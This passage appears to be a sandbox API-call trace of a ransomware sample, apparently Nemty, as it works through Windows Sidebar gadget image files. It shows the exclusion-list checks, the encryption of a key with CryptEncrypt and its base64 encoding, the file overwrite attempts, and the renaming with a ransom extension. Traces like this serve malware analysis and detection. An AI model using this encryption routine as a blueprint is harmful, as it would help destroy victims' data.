returned -1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="$RECYCLE.BIN") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="rsa") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="NTDETECT.COM") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="ntldr") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="MSDOS.SYS") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="IO.SYS") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="boot.ini") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="boot.ini") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="ntuser.dat") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="desktop.ini") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="CONFIG.SYS") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="RECYCLER") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="BOOTSECT.BAK") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="bootmgr") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="programdata") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="appdata") returned 1 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0118.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0118.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0118.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0118.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_right.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_right.png", lpUsedDefaultChar=0x0) returned 30 [0118.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402a8 [0118.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0118.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401e0 [0118.535] Sleep (dwMilliseconds=0x5) [0118.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa4db550, dwHighDateTime=0x1d561e7)) [0118.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa4db550, dwHighDateTime=0x1d561e7)) [0118.542] GetLastError () returned 0x5 [0118.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.542] GetLastError () returned 0x5 [0118.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.543] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340370 [0118.543] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340370, pcchString=0x653e91c | out: pszString="qrsN6ttonNUpaGGX/1zmqn3QwBBkAhvUBmXOWgy4uHpl+r8GgfVXHH8XnSJwdQCy\r\n199sznIjRbs5rBQY7idG6HP5Sr0afp/u8MoQuw7StxSK/z7oTBrrKoxlG7MZKHv6\r\nOl7pq3pEXb4OvuKXiZqlwNorC1AK6QmaHnpSx1ji8fgpGBH/718tAaO61vKXxdqt\r\nODRlSDj2VaXLoqbQFvjhvmva0NrKKbzovIpkeI91MBtH39PTRPzcLnmQNaRReSHk\r\nI9dYoSnEcjwHsMLKhAA+wmtXEAcoK0jro/k585N90UzDt0xs03ptCUTSh0iV9hDU\r\n7qmuqEZGi+MGgj8mdgmYVQ==\r\n", pcchString=0x653e91c) returned 1 [0118.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0118.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340370 [0118.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.543] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.543] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.643] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340370, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.649] CloseHandle (hObject=0xffffffff) returned 0 [0118.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e0 [0118.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.649] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0118.649] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_right.png._nemty_kgobjgd_")) returned 0 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.650] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.650] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d4b63e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d4b63e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288cbd21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="..") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="...") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="windows") returned -1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="$RECYCLE.BIN") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="rsa") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="NTDETECT.COM") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="ntldr") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="MSDOS.SYS") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="IO.SYS") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="boot.ini") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="boot.ini") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="ntuser.dat") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="desktop.ini") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="CONFIG.SYS") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="RECYCLER") returned 1 [0118.650] lstrcmpiW (lpString1="settings_box_left.png", lpString2="BOOTSECT.BAK") returned 1 [0118.651] lstrcmpiW (lpString1="settings_box_left.png", lpString2="bootmgr") returned 1 [0118.651] lstrcmpiW (lpString1="settings_box_left.png", lpString2="programdata") returned 1 [0118.651] lstrcmpiW (lpString1="settings_box_left.png", lpString2="appdata") returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0118.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0118.651] WideCharToMultiByte 